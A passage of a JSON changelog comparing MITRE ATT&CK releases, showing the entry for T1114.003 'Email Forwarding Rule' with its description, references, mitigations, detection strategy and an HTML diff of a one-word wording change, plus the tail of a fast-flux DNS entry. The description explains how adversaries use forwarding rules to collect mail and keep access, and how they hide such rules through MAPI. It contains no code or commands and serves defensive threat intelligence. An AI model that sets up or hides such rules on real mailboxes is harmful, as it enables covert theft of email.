nowrap=\"nowrap\">rver&nbsp;record&nbsp;list&nbsp;for&nbsp;the&nbsp;DNS&nbsp;zone,&nbsp;providing&nbsp;additional&nbsp;resi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">silience&nbsp;for&nbsp;the&nbsp;connection.&nbsp;With&nbsp;double-flux&nbsp;additional&nbsp;hos</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lience&nbsp;for&nbsp;the&nbsp;connection.&nbsp;With&nbsp;double-flux&nbsp;additional&nbsp;hosts</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;can&nbsp;act&nbsp;as&nbsp;a&nbsp;proxy&nbsp;to&nbsp;the&nbsp;C2&nbsp;host,&nbsp;further&nbsp;insulating&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;act&nbsp;as&nbsp;a&nbsp;proxy&nbsp;to&nbsp;the&nbsp;C2&nbsp;host,&nbsp;further&nbsp;insulating&nbsp;the&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;true&nbsp;source&nbsp;of&nbsp;the&nbsp;C2&nbsp;channel.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rue&nbsp;source&nbsp;of&nbsp;the&nbsp;C2&nbsp;channel.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0485: Detection Strategy for Dynamic Resolution using Fast Flux DNS"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-19 18:54:47.103000+00:00",
                    "modified": "2026-11-03 21:34:16.646000+00:00",
                    "name": "Email Forwarding Rule",
                    "description": "Adversaries may set up email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "collection"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1114/003",
                            "external_id": "T1114.003"
                        },
                        {
                            "source_name": "Mac Forwarding Rules",
                            "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.",
                            "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac"
                        },
                        {
                            "source_name": "Pfammatter - Hidden Inbox Rules",
                            "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
                            "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
                        },
                        {
                            "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
                            "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
                            "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
                        },
                        {
                            "source_name": "Microsoft Mail Flow Rules 2023",
                            "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
                            "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
                        },
                        {
                            "source_name": "US-CERT TA18-068A 2018",
                            "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                            "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Microsoft Security",
                        "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)",
                        "Liran Ravich, CardinalOps",
                        "Arun Seelagan, CISA"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Office Suite",
                        "Windows"
                    ],
                    "x_mitre_version": "1.4",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:34:16.646000+00:00\", \"old_value\": \"2025-10-24 17:49:00.920000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may set up email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\\n\\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\\n\\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. \", \"old_value\": \"Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\\n\\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\\n\\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. \", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\\n+Adversaries may set up email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\\n \\n Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.4",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to38__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to38__0\"><a href=\"#difflib_chg_to38__top\">t</a></td><td class=\"diff_header\" id=\"from38_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;setup&nbsp;email&nbsp;forwarding&nbsp;rules&nbsp;to&nbsp;collect&nbsp;sens</td><td class=\"diff_next\"><a href=\"#difflib_chg_to38__top\">t</a></td><td class=\"diff_header\" id=\"to38_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;set<span class=\"diff_add\">&nbsp;</span>up&nbsp;email&nbsp;forwarding&nbsp;rules&nbsp;to&nbsp;collect&nbsp;sen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itive&nbsp;information.&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;email&nbsp;forwarding&nbsp;ru</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sitive&nbsp;information.&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;email&nbsp;forwarding&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">les&nbsp;to&nbsp;monitor&nbsp;the&nbsp;activities&nbsp;of&nbsp;a&nbsp;victim,&nbsp;steal&nbsp;information</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ules&nbsp;to&nbsp;monitor&nbsp;the&nbsp;activities&nbsp;of&nbsp;a&nbsp;victim,&nbsp;steal&nbsp;informatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;and&nbsp;further&nbsp;gain&nbsp;intelligence&nbsp;on&nbsp;the&nbsp;victim&nbsp;or&nbsp;the&nbsp;victim\u2019</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n,&nbsp;and&nbsp;further&nbsp;gain&nbsp;intelligence&nbsp;on&nbsp;the&nbsp;victim&nbsp;or&nbsp;the&nbsp;victim</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;organization&nbsp;to&nbsp;use&nbsp;as&nbsp;part&nbsp;of&nbsp;further&nbsp;exploits&nbsp;or&nbsp;operati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">\u2019s&nbsp;organization&nbsp;to&nbsp;use&nbsp;as&nbsp;part&nbsp;of&nbsp;further&nbsp;exploits&nbsp;or&nbsp;operat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons.(Citation:&nbsp;US-CERT&nbsp;TA18-068A&nbsp;2018)&nbsp;Furthermore,&nbsp;email&nbsp;fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ions.(Citation:&nbsp;US-CERT&nbsp;TA18-068A&nbsp;2018)&nbsp;Furthermore,&nbsp;email&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rwarding&nbsp;rules&nbsp;can&nbsp;allow&nbsp;adversaries&nbsp;to&nbsp;maintain&nbsp;persistent&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">orwarding&nbsp;rules&nbsp;can&nbsp;allow&nbsp;adversaries&nbsp;to&nbsp;maintain&nbsp;persistent</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">access&nbsp;to&nbsp;victim's&nbsp;emails&nbsp;even&nbsp;after&nbsp;compromised&nbsp;credentials</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;access&nbsp;to&nbsp;victim's&nbsp;emails&nbsp;even&nbsp;after&nbsp;compromised&nbsp;credential</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;are&nbsp;reset&nbsp;by&nbsp;administrators.(Citation:&nbsp;Pfammatter&nbsp;-&nbsp;Hidden&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;are&nbsp;reset&nbsp;by&nbsp;administrators.(Citation:&nbsp;Pfammatter&nbsp;-&nbsp;Hidden</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Inbox&nbsp;Rules)&nbsp;Most&nbsp;email&nbsp;clients&nbsp;allow&nbsp;users&nbsp;to&nbsp;create&nbsp;inbox&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Inbox&nbsp;Rules)&nbsp;Most&nbsp;email&nbsp;clients&nbsp;allow&nbsp;users&nbsp;to&nbsp;create&nbsp;inbox</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rules&nbsp;for&nbsp;various&nbsp;email&nbsp;functions,&nbsp;including&nbsp;forwarding&nbsp;to&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;rules&nbsp;for&nbsp;various&nbsp;email&nbsp;functions,&nbsp;including&nbsp;forwarding&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;different&nbsp;recipient.&nbsp;These&nbsp;rules&nbsp;may&nbsp;be&nbsp;created&nbsp;through&nbsp;a&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;different&nbsp;recipient.&nbsp;These&nbsp;rules&nbsp;may&nbsp;be&nbsp;created&nbsp;through&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ocal&nbsp;email&nbsp;application,&nbsp;a&nbsp;web&nbsp;interface,&nbsp;or&nbsp;by&nbsp;command-line&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">local&nbsp;email&nbsp;application,&nbsp;a&nbsp;web&nbsp;interface,&nbsp;or&nbsp;by&nbsp;command-line</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">interface.&nbsp;Messages&nbsp;can&nbsp;be&nbsp;forwarded&nbsp;to&nbsp;internal&nbsp;or&nbsp;external</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;interface.&nbsp;Messages&nbsp;can&nbsp;be&nbsp;forwarded&nbsp;to&nbsp;internal&nbsp;or&nbsp;externa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;recipients,&nbsp;and&nbsp;there&nbsp;are&nbsp;no&nbsp;restrictions&nbsp;limiting&nbsp;the&nbsp;exte</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;recipients,&nbsp;and&nbsp;there&nbsp;are&nbsp;no&nbsp;restrictions&nbsp;limiting&nbsp;the&nbsp;ext</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt&nbsp;of&nbsp;this&nbsp;rule.&nbsp;Administrators&nbsp;may&nbsp;also&nbsp;create&nbsp;forwarding&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ent&nbsp;of&nbsp;this&nbsp;rule.&nbsp;Administrators&nbsp;may&nbsp;also&nbsp;create&nbsp;forwarding&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ules&nbsp;for&nbsp;user&nbsp;accounts&nbsp;with&nbsp;the&nbsp;same&nbsp;considerations&nbsp;and&nbsp;outc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rules&nbsp;for&nbsp;user&nbsp;accounts&nbsp;with&nbsp;the&nbsp;same&nbsp;considerations&nbsp;and&nbsp;out</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">omes.(Citation:&nbsp;Microsoft&nbsp;Tim&nbsp;McMichael&nbsp;Exchange&nbsp;Mail&nbsp;Forwar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">comes.(Citation:&nbsp;Microsoft&nbsp;Tim&nbsp;McMichael&nbsp;Exchange&nbsp;Mail&nbsp;Forwa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ding&nbsp;2)(Citation:&nbsp;Mac&nbsp;Forwarding&nbsp;Rules)&nbsp;&nbsp;Any&nbsp;user&nbsp;or&nbsp;adminis</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rding&nbsp;2)(Citation:&nbsp;Mac&nbsp;Forwarding&nbsp;Rules)&nbsp;&nbsp;Any&nbsp;user&nbsp;or&nbsp;admini</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">trator&nbsp;within&nbsp;the&nbsp;organization&nbsp;(or&nbsp;adversary&nbsp;with&nbsp;valid&nbsp;cred</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">strator&nbsp;within&nbsp;the&nbsp;organization&nbsp;(or&nbsp;adversary&nbsp;with&nbsp;valid&nbsp;cre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">entials)&nbsp;can&nbsp;create&nbsp;rules&nbsp;to&nbsp;automatically&nbsp;forward&nbsp;all&nbsp;recei</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dentials)&nbsp;can&nbsp;create&nbsp;rules&nbsp;to&nbsp;automatically&nbsp;forward&nbsp;all&nbsp;rece</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ved&nbsp;messages&nbsp;to&nbsp;another&nbsp;recipient,&nbsp;forward&nbsp;emails&nbsp;to&nbsp;differe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ived&nbsp;messages&nbsp;to&nbsp;another&nbsp;recipient,&nbsp;forward&nbsp;emails&nbsp;to&nbsp;differ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt&nbsp;locations&nbsp;based&nbsp;on&nbsp;the&nbsp;sender,&nbsp;and&nbsp;more.&nbsp;Adversaries&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ent&nbsp;locations&nbsp;based&nbsp;on&nbsp;the&nbsp;sender,&nbsp;and&nbsp;more.&nbsp;Adversaries&nbsp;may</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">also&nbsp;hide&nbsp;the&nbsp;rule&nbsp;by&nbsp;making&nbsp;use&nbsp;of&nbsp;the&nbsp;Microsoft&nbsp;Messaging&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;also&nbsp;hide&nbsp;the&nbsp;rule&nbsp;by&nbsp;making&nbsp;use&nbsp;of&nbsp;the&nbsp;Microsoft&nbsp;Messaging</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">API&nbsp;(MAPI)&nbsp;to&nbsp;modify&nbsp;the&nbsp;rule&nbsp;properties,&nbsp;making&nbsp;it&nbsp;hidden&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;API&nbsp;(MAPI)&nbsp;to&nbsp;modify&nbsp;the&nbsp;rule&nbsp;properties,&nbsp;making&nbsp;it&nbsp;hidden&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;not&nbsp;visible&nbsp;from&nbsp;Outlook,&nbsp;OWA&nbsp;or&nbsp;most&nbsp;Exchange&nbsp;Administra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;not&nbsp;visible&nbsp;from&nbsp;Outlook,&nbsp;OWA&nbsp;or&nbsp;most&nbsp;Exchange&nbsp;Administr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;tools.(Citation:&nbsp;Pfammatter&nbsp;-&nbsp;Hidden&nbsp;Inbox&nbsp;Rules)&nbsp;&nbsp;In&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;tools.(Citation:&nbsp;Pfammatter&nbsp;-&nbsp;Hidden&nbsp;Inbox&nbsp;Rules)&nbsp;&nbsp;In&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ome&nbsp;environments,&nbsp;administrators&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;enable&nbsp;email</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">some&nbsp;environments,&nbsp;administrators&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;enable&nbsp;emai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;forwarding&nbsp;rules&nbsp;that&nbsp;operate&nbsp;organization-wide&nbsp;rather&nbsp;than</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;forwarding&nbsp;rules&nbsp;that&nbsp;operate&nbsp;organization-wide&nbsp;rather&nbsp;tha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;on&nbsp;individual&nbsp;inboxes.&nbsp;For&nbsp;example,&nbsp;Microsoft&nbsp;Exchange&nbsp;supp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;on&nbsp;individual&nbsp;inboxes.&nbsp;For&nbsp;example,&nbsp;Microsoft&nbsp;Exchange&nbsp;sup</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">orts&nbsp;transport&nbsp;rules&nbsp;that&nbsp;evaluate&nbsp;all&nbsp;mail&nbsp;an&nbsp;organization&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ports&nbsp;transport&nbsp;rules&nbsp;that&nbsp;evaluate&nbsp;all&nbsp;mail&nbsp;an&nbsp;organization</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">receives&nbsp;against&nbsp;user-specified&nbsp;conditions,&nbsp;then&nbsp;performs&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;receives&nbsp;against&nbsp;user-specified&nbsp;conditions,&nbsp;then&nbsp;performs&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">user-specified&nbsp;action&nbsp;on&nbsp;mail&nbsp;that&nbsp;adheres&nbsp;to&nbsp;those&nbsp;conditio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;user-specified&nbsp;action&nbsp;on&nbsp;mail&nbsp;that&nbsp;adheres&nbsp;to&nbsp;those&nbsp;conditi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns.(Citation:&nbsp;Microsoft&nbsp;Mail&nbsp;Flow&nbsp;Rules&nbsp;2023)&nbsp;Adversaries&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons.(Citation:&nbsp;Microsoft&nbsp;Mail&nbsp;Flow&nbsp;Rules&nbsp;2023)&nbsp;Adversaries&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;abuse&nbsp;such&nbsp;features&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;enable&nbsp;forwarding&nbsp;on&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hat&nbsp;abuse&nbsp;such&nbsp;features&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;enable&nbsp;forwarding&nbsp;on&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll&nbsp;or&nbsp;specific&nbsp;mail&nbsp;an&nbsp;organization&nbsp;receives.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">all&nbsp;or&nbsp;specific&nbsp;mail&nbsp;an&nbsp;organization&nbsp;receives.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1041: Encrypt Sensitive Information",
                            "M1042: Disable or Remove Feature or Program",
                            "M1047: Audit",
                            "M1060: Out-of-Band Communications Channel"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0576: Email Forwarding Rule Abuse Detection Across Platforms"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0",
